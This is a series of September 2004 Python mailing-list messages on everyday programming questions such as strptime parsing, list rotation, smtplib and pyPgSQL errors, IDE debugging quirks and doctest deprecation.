15 14:13:20 2004 From: andywil at nortelnetworks.com (Andy Wilson) Date: Wed, 15 Sep 2004 20:13:20 +0200 Subject: Strptime Issues Message-ID: <588B15E2E2B1D41180B800508BF934F211DDB20E@bmdhd6.europe.nortel.com> Something like this... > print list_dir[j] > print "%s" % (time.strptime (list_dir[j], '%Y%U%w')) > ttuple = time.strptime (list_dir[j], '%Y%U%w') > year = ttuple[0] > month = ttuple[1] > day = ttuple[2] > print day, month, year > > I get the following output: > > 2004123 > (2004, 1, 1, 0, 0, 0, 2, 1, -1) > 1 1 2004 > > 2004124 > (2004, 1, 1, 0, 0, 0, 3, 1, -1) > 1 1 2004 ________________________________ From: Batista, Facundo [mailto:FBatista at uniFON.com.ar] Sent: 15 September 2004 15:15 To: Wilson, Andy [IRE07:CM41:EXCH] Subject: RE: Strptime Issues Could you please submit to the list a piece of code that represents this problem? Thank you. Facundo Batista Desarrollo de Red fbatista at unifon.com.ar (54 11) 5130-4643 Cel: 15 5097 5024 -----Mensaje original----- De: Andy Wilson [mailto:andywil at nortelnetworks.com] Enviado el: Mi?rcoles, 15 de Septiembre de 2004 11:12 Para: python-list at python.org Asunto: Strptime Issues Hi, I have found some issues with the _strptime.py module in release 2.3.4, I was wondering if these are being addressed or someone can give me any assistance. 1. I have code that uses a time string format of %Y%U%w, where %U is week number and %w is day of the week. In release 2.3.x this appears broken. Earlier code using python 1.5.2 works OK. See this link for more info http://groups.google.com/groups?q=strptime+bug+glawster&hl=en&lr=&ie=UTF-8&g roup=comp.lang.python.*&selm=2e3b9aea.0406110245.32b59c14%40posting.google.c om&rnum=1 2. In using Freeze to build a Solaris executable I get a "no module strptime" error. The module has not been statically linked into the executable (as far as I can tell); are there any issues around timemodule.c and strptime? I have had to do some changes to Modules/Setup in the distribution to get other modules "linked" but am at a loss for this one. Regards, Andy Wilson -------------- next part -------------- An HTML attachment was scrubbed... URL: From mipe at starbase13.de Wed Sep 1 04:14:36 2004 From: mipe at starbase13.de (Mipe) Date: 1 Sep 2004 01:14:36 -0700 Subject: Script executes script? Message-ID: Hello, for a testmodule I need to execute a python script from within a python script. Something like: -- ScriptA --> import whatever RunScript("scriptb.py") RunScript("scriptc.py") <-- Script A -- Is this possible? I didn't find a possibility to do this. Would be nice if you could give me some advice here. Thank you, Mipe From steven.bethard at gmail.com Wed Sep 29 23:43:17 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Thu, 30 Sep 2004 03:43:17 +0000 (UTC) Subject: List rotation References: Message-ID: M. Clift here.com> writes: > > Could someone help me out with this? > > items = ('a', 'b', 'c', 'd') > items + 1 = ( 'b', 'c', 'd', 'a') Is it necessary to (ab)use the + syntax? If not, will this suffice: >>> def rotate(seq, n): ... return seq[n:] + seq[:n] ... >>> rotate(range(10), 1) [1, 2, 3, 4, 5, 6, 7, 8, 9, 0] >>> rotate(range(10), 2) [2, 3, 4, 5, 6, 7, 8, 9, 0, 1] You also might want to search google groups for more information. If I understand your question right, this has been asked a number of times, for example: http://groups.google.com/groups?hl=en&lr=&ie=UTF- 8&safe=off&selm=3c4e7b1a.1031701568%40news.mch.sni.de From adalke at mindspring.com Fri Sep 10 15:08:17 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Fri, 10 Sep 2004 19:08:17 GMT Subject: Using re to get data from text file: SOLVED In-Reply-To: References: <2qdtfbFto5rlU1@uni-berlin.de> Message-ID: Jocknerd wrote: > pattern = re.compile(r'^(.*\D\d+\D\d+)\D(.*)\D(.*\d+)\D(.*)\D(.*\d+)(.*)$') Though I think that's esthetically poor. The .* groups will cause a lot of backtracking. Andrew dalke at dalkescientific.com From steven.bethard at gmail.com Tue Sep 7 03:00:03 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Tue, 7 Sep 2004 07:00:03 +0000 (UTC) Subject: docs on for-loop with no __iter__? References: <338366A6D2E2CA4C9DAEAE652E12A1DE01EA6117@au3010avexu1.global.avaya.com> Message-ID: Delaney, Timothy C (Timothy avaya.com> writes: > Yes - the MRO changed for *new-style* classes - but as you will note, > Alex specifically stated that it did not change for *classic* classes > (i.e. those that do not inherit from object or a new-style class/type). Right, but he was using that fact to try to claim that I was wrong in using MRO as an example of a backwards-incompatible change in Python. Steve From fumanchu at amor.org Sat Sep 4 14:11:18 2004 From: fumanchu at amor.org (Robert Brewer) Date: Sat, 4 Sep 2004 11:11:18 -0700 Subject: A little stricter type checking Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EB8@exchange.hqamor.amorhq.net> Peter Otten wrote: > Should Python be extended to allow type declarations, I expect them to > appear in places where they reduce the usefulness of the code while > claiming to make it safe... True. But if optional type declarations make it into Python 3.0, they'll be there for speed (compiled optimizations), not safety. In that realm, it can be a fair trade. Robert Brewer MIS Amor Ministries fumanchu at amor.org From martin at v.loewis.de Sun Sep 5 19:39:36 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Mon, 06 Sep 2004 01:39:36 +0200 Subject: compiling to python byte codes In-Reply-To: <413ba25b$1@news.unimelb.edu.au> References: <4136b2b5$1@news.unimelb.edu.au> <4136bbf3$0$197$9b622d9e@news.freenet.de> <6f402501.0409020321.44fd443@posting.google.com> <41375f6a$0$13076$9b622d9e@news.freenet.de> <4137a850$1@news.unimelb.edu.au> <4137bf73$1@news.unimelb.edu.au> <4137e739$1@news.unimelb.edu.au> <4137f79f$1@news.unimelb.edu.au> <4138207f$0$182$9b622d9e@news.freenet.de> <413ba25b$1@news.unimelb.edu.au> Message-ID: <413ba3b1$0$175$9b622d9e@news.freenet.de> Maurice LING wrote: > Probably my question should be phrased as, given what x86/PPC processors > are register-based (even after more than a decade from the publication > of the book "Stack Machines - the new wave") and there isn't much > examples of stack-based processors, why is there a difference? It seems > wierd to me that if stack-based machines (physical processors or VMs) > are so good, why hadn't the processor engineering caught up? Stack-based microprocessors would be very inefficient. If you don't have registers, every operation will need to access the stack, which is an access to main memory, which is expensive. The counter-argument of interpreters against registers (difficult to decode opcodes, long opcodes) does not hold for microprocessors, as they can decode the instruction in parallel with doing other things (which an interpreter couldn't). For interpreters, the same rationale does not hold - even registers would live in main memory, so there would be no performance gained. Virtual machines are quite different from real machines, in many respects. Regards, Martin From peter at engcorp.com Fri Sep 24 07:01:42 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 24 Sep 2004 07:01:42 -0400 Subject: Check for presence fo directory In-Reply-To: <415399c4$1@news.unimelb.edu.au> References: <415399c4$1@news.unimelb.edu.au> Message-ID: Maurice LING wrote: > >> Should we assume you're rejecting os.path.exists() for some reason? >> > You can assume Maurice.knowledge(os.path.exists()) to raise an > exception. Thanks, I guess os.path.exists() is the one to use. Make sure you check out its siblings, os.path.isfile() and os.path.isdir(), as well. Often it can be important to make sure you aren't accidentally trying to treat an *existing* file as a directory. -Peter From justin__devine at hotmail.com Mon Sep 13 10:59:22 2004 From: justin__devine at hotmail.com (Justin) Date: 13 Sep 2004 07:59:22 -0700 Subject: wxfont color? Message-ID: Does anybody know the syntax to change the color of a wxfont. Can it be done without the more advanced encoding paramater? -Thanks From flavell at ph.gla.ac.uk Sat Sep 4 08:28:11 2004 From: flavell at ph.gla.ac.uk (Alan J. Flavell) Date: Sat, 4 Sep 2004 13:28:11 +0100 Subject: Xah Lee's Unixism In-Reply-To: <4139b0e3$0$19717$61fed72c@news.rcn.com> References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <4134a207$0$65568$a1866201@newsreader.visi.com> <4135ce4a$0$19726$61fed72c@news.rcn.com> <41371ba4$0$19723$61fed72c@news.rcn.com> <87d613mckn.fsf@k9.prep.synonet.com> <4139b0e3$0$19717$61fed72c@news.rcn.com> Message-ID: On Sat, 4 Sep 2004 jmfbahciv at aol.com wrote: > Are we suffering from the demise of the thingies we used to > call DECUS when the workers got together instead of the PHBs > and marketeers? We certainly are. Self-help meetings of techies have always been a step-child as far as manglement are concerned. I could list a few that I've been involved in over the years, that have been chipped away bit by bit by cost-paring management until they finally lost critical mass. But we have the 'net, so it's not all bad. From cy.fbp.eryvtvne at ncbybtrglxn.pbz Wed Sep 1 07:54:16 2004 From: cy.fbp.eryvtvne at ncbybtrglxn.pbz (JZ) Date: Wed, 1 Sep 2004 13:54:16 +0200 Subject: Python cannot use SMTP... Message-ID: <70l2zhex3h4i$.vnwm6z03abbm.dlg@40tude.net> I cannot find out what is the problem with my Python. I cannot join to smtp host. > python Python 2.3.4 (#1, Jun 22 2004, 04:42:42) [GCC 2.96 20000731 (Red Hat Linux 7.2 2.96-112.7.2)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import smtplib >>> smtplib.SMTP('localhost') Traceback (most recent call last): File "", line 1, in ? File "/usr/local/lib/python2.3/smtplib.py", line 242, in __init__ raise SMTPConnectError(code, msg) smtplib.SMTPConnectError: (-1, "onnect: failed to connect to database: Error: Access denied for user: 'admin at localhost' (Using password: YES)") The same problem appears in Plone 2.0.4. I cannot send any emails because of it and I do not know how to sove it. I checked PHP scripts on the same linux box, but it works fine. Only Python has the problem... -- JZ From dubal at khimjiramdas.com Sun Sep 26 03:41:49 2004 From: dubal at khimjiramdas.com (J Dubal) Date: 26 Sep 2004 00:41:49 -0700 Subject: help: pypgsql: this code works in Fedora core 1, Not in FC2 Message-ID: Hello good people, Following works in FC1 (python-2.2.3-7, postgresql-7.3.4-11, kernel-2.4.22-1.2194.nptl, pyPgSQL-2.4) from pyPgSQL import PgSQL conn = PgSQL.connect('localhost',database='rop') loccur = conn.cursor() loccur.execute("DECLARE itemcursor CURSOR FOR \ SELECT * FROM locmf") loccur.execute("FETCH ALL FROM itemcursor") rec=loccur.fetchall() print rec However, following errors are produced in FC2 (python-2.3.3-6, postgresql-7.4.2-1, kernel-2.6.8-1.521, pyPgSQL-2.4): /usr/lib/python2.3/site-packages/pyPgSQL/PgSQL.py:2644: FutureWarning: %u/%o/%x/%X of negative int will return a signed string in Python 2.4 and up name = "PgSQL_%08X" % id(self) Traceback (most recent call last): File "tt1.py", line 5, in ? loccur.execute("DECLARE itemcursor CURSOR FOR \ File "/usr/lib/python2.3/site-packages/pyPgSQL/PgSQL.py", line 3091, in execute self.res = self.conn.conn.query('FETCH 1 FROM "%s"' % self.name) libpq.OperationalError: ERROR: cursor "PgSQL_F6F9906C" does not exist Out of this, the first error is produced by conn.cursor() statement. We have to use the "declare cursor" statement because we have to use "fetch prior" statement later in the program. Is there a better way of achiving this? Something seems to have changed either python or in postgresql that is causing this error. Can someone provide a solution/workaround? Thanks in advance. J Dubal. From see at below.invalid Sun Sep 19 23:16:07 2004 From: see at below.invalid (Paul Foley) Date: Mon, 20 Sep 2004 15:16:07 +1200 Subject: Math errors in python References: <70b3d.1822$uz1.747@trndny03> Message-ID: On 19 Sep 2004 15:24:31 -0700, Dan Bishop wrote: > There are, of course, reasonably accurate rational approximations of > pi. For example, 355/113 (accurate to 6 decimal places), 312689/99532 > (9 decimal places), or 3126535/995207 (11 decimal places). Also, the > IEEE 754 double-precision representation of pi is equal to the > rational number 4503599627370496/281474976710656. I hope not! That's equal to 16. (The double float closest to) pi is 884279719003555/281474976710656 -- Don't worry about people stealing your ideas. If your ideas are any good, you'll have to ram them down people's throats. -- Howard Aiken (setq reply-to (concatenate 'string "Paul Foley " "")) From robin.siebler at palmsource.com Mon Sep 13 14:56:02 2004 From: robin.siebler at palmsource.com (Robin Siebler) Date: 13 Sep 2004 11:56:02 -0700 Subject: Annotatable Python docs -- now a reality !!! References: <4145b657$0$284$4d4ebb8e@news.nl.uu.net> Message-ID: <95c29a5e.0409131056.5f810616@posting.google.com> So, is there a way to search for annotations? I don't mean any text in particular, I mean 'show me everything that has been annotated'. From jdhunter at ace.bsd.uchicago.edu Tue Sep 21 07:01:19 2004 From: jdhunter at ace.bsd.uchicago.edu (John Hunter) Date: Tue, 21 Sep 2004 06:01:19 -0500 Subject: Python for Perl programmers? In-Reply-To: (markus.cl@gmx.de's message of "20 Sep 2004 19:20:07 -0700") References: Message-ID: >>>>> "Markus" == Markus Dehmann writes: Markus> I am using perl for everything, even bigger programs, with Markus> objects, uh, modules and stuff. I know pretty much every Markus> trick in perl and have a lot of experience. I was the same way 3 years ago. I read "Object Oriented Perl" by Damian Conway and thought "God, this guy is a genius" (which he is), the way he can get perl to do all this amazing stuff. In 2001, mainly for thesis procrastination, I decided to learn python. I can honestly say, I haven't touched a line of perl code since then, and hopefully never will again. In python you don't have to be a genius to do inheritance or to pass an array of dictionaries; it just works. Others have answered your quest for perl specific migration docs. If you are a perl guru, or a guru in any programming language, I doubt you need documentation specific to your language of choice. If you know what a for loop is, what a class is, and so on, learning python is easy. I think the 1st 10 chapters in David Beazley's Python Essential Reference are great -- they give a short but thorough introduction to the core features. For a more comprehensive and recent treatment, take a look at Python in a Nutshell and The Python Cookbook. JDH From jjl at pobox.com Sun Sep 12 09:36:52 2004 From: jjl at pobox.com (John J. Lee) Date: 12 Sep 2004 14:36:52 +0100 Subject: open and shut case References: Message-ID: <878ybfk3rf.fsf@pobox.com> "Elaine Jackson" writes: > Can python close a web-browser window it opened itself? The window in question > will be displaying a webpage that resides on the local computer, which is > running Windows 98. Knowing a way to do this would really help me out. There are quite a few examples of automating IE with COM lying around on Google and Google Groups if you know what to look for. Unfortunately, COM is be rather obscure in many ways. terms: IE, MSIE, Internet Explorer, COM, pywin32, win32all, ctypes The win32 mailing list (whose name I forget -- sorry!) is a good source. PS. these days, your subject line sounds distinctly spammish (especially since it's a woman posting the message to a comp. newsgroup -- how likely can that be? ;-) John From spaamrobmccreaspremoveam at adelphia.net Tue Sep 14 14:50:13 2004 From: spaamrobmccreaspremoveam at adelphia.net (Rob McCrea) Date: Tue, 14 Sep 2004 14:50:13 -0400 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: <656g254o.fsf@python.net> References: <656g254o.fsf@python.net> Message-ID: <7LudnZweyKXOoNrcRVn-sw@adelphia.com> Thomas Heller wrote: > Carlos Ribeiro writes: >>I'm frustrated. My search for a good IDE to support my activities -- > > If you work on Windows, you should really, really, really upgrade to > win2k, at least - even if it costs some performance on your machine. > > You can even *use* the 'dos-box' then ;-). > > Thomas In my not-at-all-humble-but-very-honest opinion, that's the worst suggestion I've heard in this topic. Rob From danperl at rogers.com Mon Sep 27 02:26:01 2004 From: danperl at rogers.com (Dan Perl) Date: Mon, 27 Sep 2004 02:26:01 -0400 Subject: "False exceptions?" (was Re: theme of the week: tools References: <41542230.3070808@bellsouth.net> Message-ID: I've done a little more digging into the Wing IDE documentation and this is one of the better explanations I've found on the "false exceptions": "As you try out the various demos from the tree on the left of the wxPython demo app, you will sometimes see Wing IDE report exceptions in its Error List dialog, which will come to the front as the wxPython demo pauses at the exception. These are not program errors or a malfunction of the IDE. As described at the end of the Error List text, these are caused by Wing's proactive exception detection algorithm, which cannot see into the C and C++ code that is handling these exceptions outside of the debugger. To get past them, select "Ignore this exception location" in the Error List window and click on Continue Execution. You will see 3-4 of these the first time Wing IDE encounters them. After that, your ignore list is stored in the project so you will never see them again, even in future debug sessions. Subsequently, you will benefit from Wing's ability to stop immediately at the point of exception, rather than after the fact. This makes understanding the conditions leading to an error much easier and speeds up debug turn-around." I can see a benefit in stopping at the point of exception, but if that causes false positives (term used by one of their support people) with the builtin modules that are implemented in C/C++, then I'd rather just live without this benefit. Apparently, there is a way to disable that behavior (I found out about it only now), but Wing keeps recommending the "Ignore this exception location" solution. And here is the kind of comment that really bothers me. An actual statement from their documentation ("Debugging Zope with Wing IDE"): "Another useful exception related feature is the ability to ignore exceptions selectively by line of code on which they occur. You can choose this option in the Error List window that comes up when an exception occurs. In Zope, as in other Python apps that contain some non-Python code, Wing will incorrectly identify some exceptions as unhandled because it cannot see whether enclosing C code is going to handle the exception. This usually happens in 1-2 places in Zope and can be dealt with by ignoring subsequent instances of the exception. The zope.wpr project distributed with the Wing+Zope bundle already has these ignores in place." No, this is NOT a "useful exception related feature", it's a workaround for a bug. And it's 1-2 times for Zope, it was 3-4 times in the comments above, how do they get these estimates? I got this problem (er, useful exception related feature) with the first script I debugged. Dan "Carlos Ribeiro" wrote in message news:mailman.3947.1096250696.5135.python-list at python.org... > On Sun, 26 Sep 2004 21:36:18 -0400, Peter Hansen > wrote: >> Dan Perl wrote: >> > I debugged one of my >> > scripts (that I knew it works) and got an unexplainable exception. It >> > turns >> > out that Wing IDE falsely detects some exceptions. They know about it >> > and >> > they suggest that if you KNOW that it's a false exception you should >> > flag it >> > to be ignored. Yes, Wingware people, I know it's a false exception, >> > but >> >> What exactly is a "false exception"? I have never heard of such >> a thing, and can't imagine what it might be. Python raises >> exceptions, they are subclasses of Exception or (old-style) >> strings, they have tracebacks, they come from a variety of >> sources, there's lots of things to know about exceptions but >> "falseness" is not something about which I'm aware... > > They're false in the sense that that they're not supposed to be raised > to the attention of the user. What happens is that Wing IDE is super > sensitive with regards to exceptions; when an exception is raised in > some internal module, Wing tries to outsmart the library and warn the > user that an exception happened. A "false exception" is one that would > happen and be silently treated by the library itself, without nobody > noticing, but that's catched by Wing IDE nonetheless, in a totally > unnecessary and obstrusive way. You can see that it's a case where the > tool tries to be too smart for its own good. > > p.s. Why do they do it? For what I could see, the intention seems to > be able to catch situations where a valid exception that should be > raised to the user attention is silented by a generic error handler. > It really may be useful in some situations, but it isn't a reasonable > default in my opinion. > > -- > Carlos Ribeiro > Consultoria em Projetos > blog: http://rascunhosrotos.blogspot.com > blog: http://pythonnotes.blogspot.com > mail: carribeiro at gmail.com > mail: carribeiro at yahoo.com From ajsiegel at optonline.com Sat Sep 4 07:32:16 2004 From: ajsiegel at optonline.com (Arthur) Date: Sat, 04 Sep 2004 11:32:16 GMT Subject: Method returning new instance of class? Message-ID: <4Jh_c.4378$Wv5.950@newsread3.news.atl.earthlink.net> A bit inspired by the decorator discussions, I'm trying to tackle something I had been avoiding. Essentially I am trying to create a non-destructive tranformation of an instance of a class - is one way of putting it. The way I am currently conceptualizing a solution, what I need is a method of the class that returns a new instance of the class. I'm sure this is not new territory. Suggestions appreciated. Art From sholden at holdenweb.com Wed Sep 1 11:44:47 2004 From: sholden at holdenweb.com (Steve Holden) Date: Wed, 01 Sep 2004 11:44:47 -0400 Subject: age of Python programmers In-Reply-To: References: <889cbba0.0408181206.1812881c@posting.google.com> Message-ID: <6amZc.17353$ni.8118@okepread01> nnes wrote: > JanC wrote in message news:... > >>Gerardo Herzig -Departamento de Proyectos Especiales e Internet- Facultad >>de Medicina schreef: >> >> >>>30 years old. First program at 11 (Basic) on ZX Spectrum. >> >>/me too (now 30 & started with ZX Spectrum Basic at 11) > > > count another one, me too now 30 years, started with ZX Spectrum Basic at 11 I'm 54, and I first programmed an ICT (later ICL) 1900 in Algol 60 and PLAN at the age of 16. regards Steve From benn at cenix-bioscience.com Mon Sep 13 08:18:43 2004 From: benn at cenix-bioscience.com (Neil Benn) Date: Mon, 13 Sep 2004 14:18:43 +0200 Subject: PocketPc Installer Message-ID: <41459023.5000808@cenix-bioscience.com> Hello, This is slightly off topic but you guys are bright (creep, creep!) so - when people write apps for handhelds (specifically Win CE handhelds) what do you use for installers (I know that there are installers for MS based products but that doesn't help anyone using non MS languages!). I need to use an installer as I don't want to rely on 'copy the file to the right place' installs for the end user. Any advice greatly appreciated. Cheers, Neil -- From jeff at ccvcorp.com Tue Sep 14 16:34:04 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Tue, 14 Sep 2004 13:34:04 -0700 Subject: Strange "feature" involving double slashes in Win98 In-Reply-To: References: Message-ID: <10keladc9ggrr54@corp.supernews.com> Carlos Ribeiro wrote: >** Solving the problem ** > >DrPython relies on string concatenation to build new pathnames. My >root dir is "c:/", and at some places in the code, other pieces are >concatenated to it, causing the problem. > It seems to me that the problem, here, is that DrPython *should* be using os.path.join() to build those pathnames, instead of concatenation. (os.path.join() intelligently removes duplicate directory separators.) That may not help you much, though, since that's not your code. (If you're not already reporting this as a [series of] bug[s] in DrPython, you probably should...) Given that fixing DrPython isn't a very practical option for you, I'd say that wrapping the os module may be the best option left, but I'm not sure how one would go about that. Given that os is a built-in module, you'd probably have to pull some trickery with sys.modules once the interpreter was started, and I don't understand that whole process well enough to be able to offer specific advice. Jeff Shannon Technician/Programmer Credit International From me at privacy.net Thu Sep 23 18:06:31 2004 From: me at privacy.net (Richard Hanson) Date: Thu, 23 Sep 2004 15:06:31 -0700 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> Message-ID: <45i6l096tkma3ii47m4ll9f2usuknnpobn@4ax.com> Nice to find that my off-topic post was taking seriously even if I *did* use lots of smileys and such -- as well as positing a possibly seemingly grandiose set of ideas. :-) Carlos Ribeiro wrote: > I really like this kind of stuff. Information management, knowledge > management, complexity management, you name it -- it's a increasingly > interesting topic. Appliances also are relevant, as it is seamless > networking. Check on all the above -- and many thanks for the kind words and vote of confidence. It is my thesis that the world is experiencing a "complexity bomb" if you will -- a combinatorial explosion of complexity in all things -- and that compsci has been dealing with managing complexity for decades, and that if the world doesn't turn to the complexity-control experts (compsci folks), then things may well be grim in the coming years. I've long been frustrated, though, that even in the computer industry, the mainstream has gone the WIMPy way :-) -- instead of continuing to innovate re HCIs. While I have personal, selfish reasons for working on my project (such as finding that I am spending more and more time trying just to *find* stuff on my harddrives, and being increasingly hampered by a diminishing ability to drive mouses all around the screen :-) ), I also realize from helping many of my non-computer-type friends that they are mostly totally bewildered about such distinctions as harddrives-directories-files, OS-apps, etc. Commonly, I get frantic calls asking for help to fix their computers, often with, "I was cleaning off my harddrive and now my computer doesn't work." Usually, this sort of problem turns out to be that they deleted the Windows directory, or perhaps that the Program Files directory seemed a wee bit too cluttered, and so on... :-) The blame points towards poor design and quite misleading marketeering on the industry's part, I respectfully submit. The public thought they were buying a microwave but got a space shuttle... :-/ I realized in my original epiphany perhaps seven or eight years ago, that something like Pathfinder was possible which would be safe and easy for Granny, and yet allow me to be much more productive, as well. > I heed you to check Microsoft's documents on "how Longhorn will be > great" :-) Heh. When they announced such a few years ago, I felt a bit validated that my ideas were not psychotic. :-) But also, I felt an urgency to get an open-source version out. As I said in my original post, however, I had no time at that time, to devote to Pathfinder while I was involved in another project. (I also note that MS has recently announced that they are dumping the database file system from Longhorn as they scramble in the Sysiphean task of "fixing Windows." :-) ) > Seriously, they're working hard to create a new paradigm > for the Windows desktop, and some of the things that you talk about > are discussed there too -- namely, they're hiding folders, drive > names, etc, from the user view, and creating a new and much simplified > user interface. I am somewhat familiar with MS's theoretical work. However, it is also my thesis, that open-source software (with a suitable BDFL -- likely not me, as I'm getting too old; perhaps I could be a pope or something... ;-) ) won't... uh... screw things up as badly as a profit-driven megacorp. (MS *does* have the ability to solve the hardware platform problem -- something OSS may have greater difficulty dealing with.) > Google is known to be working on something similar -- > your computer will be just a big Google-indexed repository of > information. No more trying to file things into folders, Google will > categorize and locate things back for you in a snap. Now Google is a horse of a different color. :-) Yet, with their incredible success, one wonders if profit-motives could possibly squelch innovation? And now that they're going public, they'll have to answer to the stockholders -- now *that* cannot be good... ;-) I know the founders of Google are some big branes, and that Python was used originally, and still is, in their shop. That's a good sign. :-) (By the way, ideally, Pathfinder would not use trees of directories -- "flat is better than nested." [Indeed, initial prototypes would have to kludge a flat structure on top of the directory trees used in Windows and other file systems, as Windows in particular, really bogs down with a dir containing ten of thousands of objects, say. And we're talking about hundreds of thousands of objects, at least.] Pathfinder's "button-panel" menu-structure *could* be a "simply-connected" tree, but wouldn't have to be -- the menu-structure could just as easily be "non-simply-connected" [presuming I have the nomenclature correct]. Additionally, the menu-structure would be easily changeable by the user: some may want the same leaf to be located in several or many branches, or that a leaf be found via several different routes. I would think that there would be some standard menu-structures provided, but also that the users may well want to change the dynamically labeled button-panel menu-structure, themselves, and such should be made easy to do.) --- There also is a developer in Italy with an open-source project that features many of Pathfinder's ideas. While his work is good, and his work further validated mine -- indeed, some of his writing reads eerily like my own copious notes on Pathfinder -- his project is not the complete "paradigm shift" that Pathfinder is envisioned to be, particularly re accessibility issues. > A project of this size is really big and ambitious. A suggestion is to > create a new mailing list and to start discussing it there. If it's in > Python, I'm sure you can thrown baits here at c.l.py from time to time > to hook new people :-) Thanks for that suggestion! (Perhaps I should also hook up with the Italian developer mentioned above...? I've lost the link to his website, but maybe I'll find time to relocate it via Google.) But back to your excellent suggestion: My concern is that I may not be around along enough to even get the project launched in the envisioned direction. (Thus, my "dumping" of my off-topic post in here, yesterday.) But, you have *greatly* encouraged me; perhaps I *can* get a prototype working -- such would speak volumes louder (to mangle metaphors :-) ) than just a posting of some ideas by a newcomer to c.l.py (active-posting-wise; I've been lurking here and elsewhere for years). If I am successful in getting some reliable hardware rebuilt (I use laptops, preferably with touchscreens, due to physical handicaps), I may well be able to get a prototype of Pathfinder implemented. Python makes the development of even big projects so much easier than the myriad of languages I've used prior, that there is a slight chance that I could get something working, perhaps... (I have hesitated to mention my physical limitations even though I hinted at my age, and obtusely to health problems, in my email address, as such can often be taken for whiny complaining. :-) But, ultimately, my physical limitations have been a blessing in disguise for many, many reasons. Indeed, it is the arthritis in my arms and hands which has been some of my main impetus for the "button-panel" replacement of the WIMP interface which I elaborated on more in my original Pathfinder posting, yesterday. And, in many other ways, I have found much silver within the clouds. So I am decidedly *not* complaining, nor even remotely bitter, nor whining, etc. about my limitations. I want to be absolutely clear about *this* point. However, accessibility issues *are* related to HCI issues, so perhaps it *is* appropriate that I mention my own situation at this juncture.) --- The more I think about it, the more I like your mailing-list idea. I'll see if I can figure out how to start one which is mirrored-by and postable-to the newsserver Gmane -- I like their resistance to disclosing private email addresses which spammers could harvest. --- I'm more of a generalist; it is slightly possible that I am not deluded in my thinking that my background in programming *and* art may well be the requisite background that folks bent on improving the HCI will need. My being intimately familiar with the accessibility issues of physically handicapped folks may also be of benefit in improving the HCI situation. (And, of course, laziness is a *very* good motivation for innovation... ;-) ) Well, I've rambled way too long, again. :-) I will post any notes pertaining to this project's progress, i.e., becoming more concrete, even if it's just an announcement of a mailing-list as you suggest, here in c.l.py. Again, thanks very much for your comments. I shall continue to forge ahead as time and energy allows. At least now, some distillations of my notes from years of work (mostly back-burner stuff till very recently) is in the public record. And, once again, thanks very much if you or anyone has read through this far. (I'm afraid if I keep posting, I *could* turn into a "postingbot" rivaling some of c.l.py's best-loved and most-prolific writers. :-) ) the-grandeur-of-delusions'ly y'rs, Richard Hanson -- sickoldfartnewsguycom From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Thu Sep 16 15:49:55 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (=?iso-8859-1?Q?Michel_Claveau_-_abstraction_m=E9ta-galactique_non_trivial?= =?iso-8859-1?Q?e_en_fuite_perp=E9tuelle.?=) Date: Thu, 16 Sep 2004 21:49:55 +0200 Subject: How to detect open windows applications References: <82d4be71.0409160655.234749ab@posting.google.com> Message-ID: Hi ! Search the process. @-salutations -- Michel Claveau From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Wed Sep 29 18:38:47 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Wed, 29 Sep 2004 23:38:47 +0100 Subject: Avoiding shell metacharacters in os.popen In-Reply-To: References: Message-ID: Nick Craig-Wood wrote: > As I pointed out in my post there isn't an equivalent for > os.popen* which doesn't go via the shell (except for undocumented > os.popen2). Is it the undocumented nature of it that is unnerving you? I submitted a bug on the documentation more than six months ago but no one has responded. http://sourceforge.net/tracker/?func=detail&aid=907457&group_id=5470&atid=105470 -- Michael Hoffman From mwh at python.net Wed Sep 15 07:40:08 2004 From: mwh at python.net (Michael Hudson) Date: Wed, 15 Sep 2004 11:40:08 GMT Subject: Subclassing in C References: <41470D3A.1040206@research.att.com> <2qpf83F12ff6iU1@uni-berlin.de> Message-ID: Leif K-Brooks writes: > Michael Hudson wrote: > > Iker Arizmendi writes: > > > >>(*) The class I'm deriving from is defined in another > >>extension module and it has its own tp_getattr method. > > Hmm. I take it *it's* tp_getattr[o] method isn't > > PyObject_GenericGetAttr then? > > [Emphasis not mine.] > > Sorry, but Iker had it right and you had it wrong. "Its", with no > apostrophe, is possessive; "it's", with an apostrophe, is a > contraction of "it is". Therefor, "It's red." and "Its color is red." > are both correct. Believe me, I know. However, I type fairly fast, and very often make this mistake. (I cringed when my post came back to me from the newsserver). Cheers, mwh -- I have *both* hands clapping, but I'm still not sure it's a sound. When I tried deciding if it were a sound while clapping only one hand, I fell off my chair. -- Peter Hansen, Zen master, comp.lang.python From michele.simionato at gmail.com Mon Sep 6 23:41:53 2004 From: michele.simionato at gmail.com (Michele Simionato) Date: 6 Sep 2004 20:41:53 -0700 Subject: doctest.Tester is deprecated References: <4edc17eb.0409052338.69012ee7@posting.google.com> Message-ID: <4edc17eb.0409061941.6274b130@posting.google.com> Tim Peters wrote in message news:... > [Michele Simionato] > > Some time ago I hacked a custom solution to run doctests > > on text files containing documentation. The solution > > involved this kind of game: > > > > tester=doctest.Tester(globs={},verbose=1) > > tester.runstring(mytest) > > > > It worked fine, but now with Python 2.4.a3 I get > > > > DeprecationWarning: class Tester is deprecated; use class > > doctest.DocTestRunner instead > > > > The problem is that DocTestRunner is not a replacement for Tester, it > > has no runstring method! > > > > So, how what am I supposed to do? > > In the worst case, I suppose you could copy the Tester implementation > from 2.4 and maintain it yourself, In the meantime, Tester is still > there. > > But I'd encourage you to think about better approaches. Most people > are using unittest to *drive* their test strategies, because it's > simply a much better (than doctest) framework for stitching together > many tests of various kinds from various places. > > So the total refactoring of doctest for 2.4 gave up on doctest's > feeble "stitch tests together" gimmicks, and focused instead on better > support for playing with unittest. The latter is what the people who > *contribute* to doctest use, so that's what gets loving attention. 